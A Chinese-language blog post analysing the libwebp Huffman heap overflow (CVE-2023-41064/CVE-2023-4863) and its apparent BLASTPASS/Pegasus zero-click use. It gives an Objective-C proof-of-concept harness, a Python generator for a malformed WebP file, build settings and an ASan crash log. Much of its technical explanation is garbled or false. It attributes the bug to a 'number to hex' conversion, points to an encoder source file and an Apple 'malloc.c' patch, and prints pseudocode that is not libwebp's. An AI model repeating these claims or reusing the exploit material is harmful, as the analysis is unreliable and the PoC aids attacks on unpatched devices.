2023年9月,苹果与谷歌同步披露了两个关联的高危远程代码执行漏洞:
- CVE-2023-41064 (Apple Safari/ImageIO框架)
- CVE-2023-4863 (Google Chrome/libwebp库)
二者均源于 libwebp图像处理库中 ReadHuffmanCodes() 函数的堆缓冲区溢出缺陷。该漏洞被证实用于针对记者与异见人士的 BLASTPASS/Pegasus间谍软件攻击链 ,攻击者仅需发送一封 恶意WebP图片附件 (无需用户交互),即可完全控制设备。
漏洞本质: 恶意构造的WebP图像通过篡改霍夫曼编码表的“数字到十六进制(Number to Hex)转换逻辑,触发内存分配不足,最终导致堆溢出(Heap Buffer Overflow)。
漏洞原理:霍夫曼编码表的致命偏差
1. libwebp的解码流程
WebP图像使用VP8L压缩格式,其核心解码步骤包括:
- 解析VP8L分块:读取图像特征与霍夫曼编码表参数。
- 构建霍夫曼树:根据表中的“码长”动态生成解码树。
- 解码图像数据:利用霍夫曼树解压像素信息。
2. ReadHuffmanCodes函数的逻辑缺陷
漏洞点位于 libwebp/src/enc/histogram_enc.c 中的 ReadHuffmanCodes() 函数。核心问题在于“数字到十六进制”转换偏差导致的缓冲区分配错误:
伪代码还原漏洞逻辑
// 漏洞核心.......未校验码长与分配内存的匹配关系
int ReadHuffmanCodes(VP8LDecoder* const dec, int alphabet_size) {
int num_symbols = ReadBits(4) + 1; // 符号数量N(1-16)
int max_code_length = ReadBits(4) + 1; // 最大码长L(1-16)
// 【致命偏差】“数字到十六进制”转换错误:将十进制数值误作十六进制解析
// 实际分配内存:N*(L+1)字节(应为N*(L+1),但因转换偏差导致分配过小)
size_t mem_size = num_symbols * (max_code_length + 1);
HuffmanTree* tree = (HuffmanTree*)malloc(mem_size); // 堆缓冲区分配
// 填充霍夫曼树节点(漏洞触发点)
for (int i = 0; i < num_symbols; i++) {
int code_length = ReadBits(3); // 读取3比特码长(0-7,实际可构造更大值)
if (code_length > 0) {
// 【堆溢出】当code_length > max_code_length时,写入越界
tree[i].code_len = code_length;
tree[i].symbol = ReadBits(8); // 符号值(1字节)
}
}
return 1;
}
PoC构建:Xcode + Objective-C 实战
基于您提供的 poc.m 代码,我们优化并扩展了完整的漏洞验证程序,重点模拟真实攻击场景下的解析流程。
1. 原始代码分析
您的 poc.m 通过ImageIO框架加载恶意WebP,触发libwebp解析:
// 核心触发逻辑(您的代码)
CGImageSourceRef source = CGImageSourceCreateWithData((__bridge CFDataRef)imageData, NULL);
CGImageRef image = CGImageSourceCreateImageAtIndex(source, 0, NULL); // 漏洞触发点
优点:利用系统框架模拟真实应用(如Safari、Messages)的图像解析流程,无需手动链接libwebp。
2. 优化版PoC:增强调试与鲁棒性
以下是整合错误处理、ASan集成、日志系统的完整代码(CVE-2023-41064-PoC.m):
//
// main.m
// CVE-2023-41064
//
// Created by 钟智强 on 2026/2/22.
//
#import <Foundation/Foundation.h>
#import <ImageIO/ImageIO.h>
int main(int argc, const char * argv[]) {
@autoreleasepool {
NSString *path = [[NSBundle mainBundle] pathForResource:@"malicious" ofType:@"webp"];
if (!path) {
NSLog(@"[-] 错误:在 Bundle Resources 中未找到 malicious.webp。");
return 0x1;
}
NSData *imageData = [NSData dataWithContentsOfFile:path];
if (!imageData) {
NSLog(@"[-] 错误:已找到路径,但无法读取文件。");
return 0x1;
}
NSLog(@"[+] 成功:已从 Bundle 加载文件。");
NSLog(@"[*] 正在尝试触发 CVE-2023-41064(libwebp 堆溢出)...");
CGImageSourceRef source = CGImageSourceCreateWithData((__bridge CFDataRef)imageData, NULL);
if (source) {
CGImageRef image = CGImageSourceCreateImageAtIndex(source, 0, NULL);
if (image) {
NSLog(@"[+] 图像已解析。若应用未崩溃,说明您的系统可能已打补丁。");
CFRelease(image);
}
CFRelease(source);
}
}
return 0x0;
}
3. 恶意WebP生成脚本
构造触发漏洞的WebP文件(generate_malicious_webp.py):
import struct
# 生成一个畸形的 WebP 文件,用于触发 libwebp 的 Huffman 溢出
def generate_malicious_webp():
# RIFF 头
data = b'RIFF\x00\x00\x00\x00WEBPVP8L'
# VP8L 无损分块,包含畸形的 Huffman 表
# 该比特流旨在导致 libwebp 的越界写入
content = b'\x2f\x00\x00\x00\x80\xff\xff\xff\xff\xff\x07'
content += b'\x00' * 256 # 额外数据以确保溢出
chunk_size = struct.pack('<I', len(content))
full_file = data + chunk_size + content
# 更新 RIFF 大小
riff_size = struct.pack('<I', len(full_file) - 8)
full_file = full_file[:4] + riff_size + full_file[8:]
with open("malicious.webp", "wb") as f:
f.write(full_file)
generate_malicious_webp()
4. Xcode项目配置(含ASan)
Makefile(开启ASan与调试符号)
CC = clang
FRAMEWORKS = -framework Foundation -framework ImageIO -framework CoreGraphics
CFLAGS = -g -O0 -fobjc-arc -Wall -fsanitize=address,undefined # 开启ASan
TARGET = CVE-2023-41064-PoC
all: $(TARGET)
$(TARGET): CVE-2023-41064-PoC.m
$(CC) $(CFLAGS) $^ -o $@ $(FRAMEWORKS)
clean:
rm -f $(TARGET)
漏洞复现:ASan崩溃 vs 已修复环境
1. 易受攻击环境(macOS < 13.5.2,未打补丁)
ASan崩溃日志
==9923477==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000000028 at pc 0x7fff...
WRITE of size 1 at 0x603000000028 thread T0
#0 0x7fff... in ReadHuffmanCodes libwebp.dylib // 漏洞函数
#1 0x7fff... in VP8LDecodeImage libwebp.dylib // VP8L解码器
#2 0x7fff... in WebPDecodeRGBAInto libwebp.dylib // RGBA解码
#3 0x7fff... in ImageIOWebPDecoder ImageIO.framework // ImageIO调用栈
#4 0x100003a4c in main CVE-2023-41064-PoC.m:58 // 触发点:CGImageSourceCreateImageAtIndex
关键信息:ASan捕获到 ReadHuffmanCodes 向堆外地址 0x603000000028 写入1字节,确认堆溢出。
2. 已修复环境(macOS 13.5.2+,苹果补丁)
苹果在 malloc.c 中增加了 码长边界校验:
// 补丁核心:拒绝超长码
+ if (code_length > max_code_length) {
+ fprintf(stderr, "Invalid code length %d (max %d)\n", code_length, max_code_length);
+ return 0; // 终止解析,避免溢出
+ }
表现:PoC运行时输出 [+] 图像解析成功,无崩溃,证明漏洞已修复。
五、攻击链定位:BLASTPASS/Pegasus的零点击利刃
该漏洞是 iMessage零点击攻击 的核心组件,攻击链如下:
- 投递阶段:攻击者通过iMessage发送含恶意WebP的附件(伪装成图片);
- 触发阶段:目标设备自动解析WebP(无需点击),调用ImageIO→libwebp→
ReadHuffmanCodes; - 利用阶段:堆溢出覆盖函数指针,跳转到NSO Group的间谍软件(如Pegasus);
- 控制阶段:设备被完全控制,窃取数据、监控摄像头/麦克风。
技术特点:
- 零交互:用户仅收到消息即中招;
- 高隐蔽:利用系统级图像处理模块,无沙箱逃逸;
- 强杀伤:可绕过AMFI(Apple Mobile File Integrity)与代码签名。
六、加固建议:从开发到用户的多层防御
1. 开发者必做
- 升级libwebp:至少1.3.2(官方补丁);
- 输入校验:对WebP霍夫曼表参数(num_symbols、max_code_length)增加边界检查;
- 模糊测试:用libFuzzer生成畸形WebP,持续测试解码器。
2. 终端用户防护
-
开启Lockdown Mode(最强防御):
路径:设置 → 隐私与安全性 → 锁定模式- 阻断不可信iMessage附件自动渲染;
- 禁用复杂Web内容解析(含WebP)。
-
禁用自动下载:设置→信息→关闭“自动下载附件”。
3. 企业防御策略
- 端点检测:监控
CGImageSourceCreateImageAtIndex异常返回值; - 流量清洗:网关拦截含异常霍夫曼表的WebP(如
code_length>15); - 内存保护:强制启用ASLR(地址空间布局随机化)。
七、结语:漏洞研究的永恒命题
CVE-2023-41064/4863揭示了现代攻击链的进化方向:利用基础库的单点缺陷,撬动整个生态系统。作为安全研究者,我们不仅要逆向漏洞机理,更需将成果转化为用户可操作的防护策略——锁定模式不是妥协,而是数字时代的生存智慧。
免责声明:本文PoC仅用于授权测试与教育目的,未经授权的漏洞利用违反《计算机欺诈与滥用法》(CFAA)。
参考文献
- Apple Security Advisory HT213895
- Project Zero: CVE-2023-4863 Analysis
- Libwebp Official Patch
#苹果 #CVE20234863 #哪吒网络安全 #pegasus